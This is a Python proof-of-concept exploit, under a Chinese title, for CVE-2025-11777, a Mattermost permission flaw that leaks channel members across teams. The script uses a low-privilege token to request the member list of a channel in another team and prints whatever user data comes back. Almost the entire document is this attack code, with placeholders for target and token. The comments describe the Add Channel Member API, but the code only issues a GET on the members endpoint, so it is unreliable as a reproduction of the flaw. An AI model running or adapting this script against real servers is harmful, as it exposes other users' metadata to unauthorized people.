CVE-2025-11777 Mattermost团队成员权限校验不当导致跨团队信息泄露

import requests import json # CVE-2025-11777 PoC - Mattermost Cross-Team Information Disclosure # Target: Mattermost Add Channel Member API permission bypass BASE_URL = "https://target-mattermost-server.com" TARGET_CHANNEL_ID = "target_channel_id_from_other_team" AUTH_TOKEN = "your_auth_token_with_low_privilege" def exploit_cve_2025_11777(): """ Exploit: Improper team membership validation in Add Channel Member API This allows attackers to access user metadata and channel membership information from teams they don't belong to. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Step 1: Attempt to get channel members from another team endpoint = f"{BASE_URL}/api/v4/channels/{TARGET_CHANNEL_ID}/members" response = requests.get(endpoint, headers=headers) if response.status_code == 200: members = response.json() print(f"[+] Successfully retrieved channel members: {json.dumps(members, indent=2)}") return members else: print(f"[-] Failed to retrieve members. Status: {response.status_code}") return None if __name__ == "__main__": print("CVE-2025-11777 PoC - Mattermost Permission Bypass") print("Target: Add Channel Member API - Team membership validation failure") exploit_cve_2025_11777()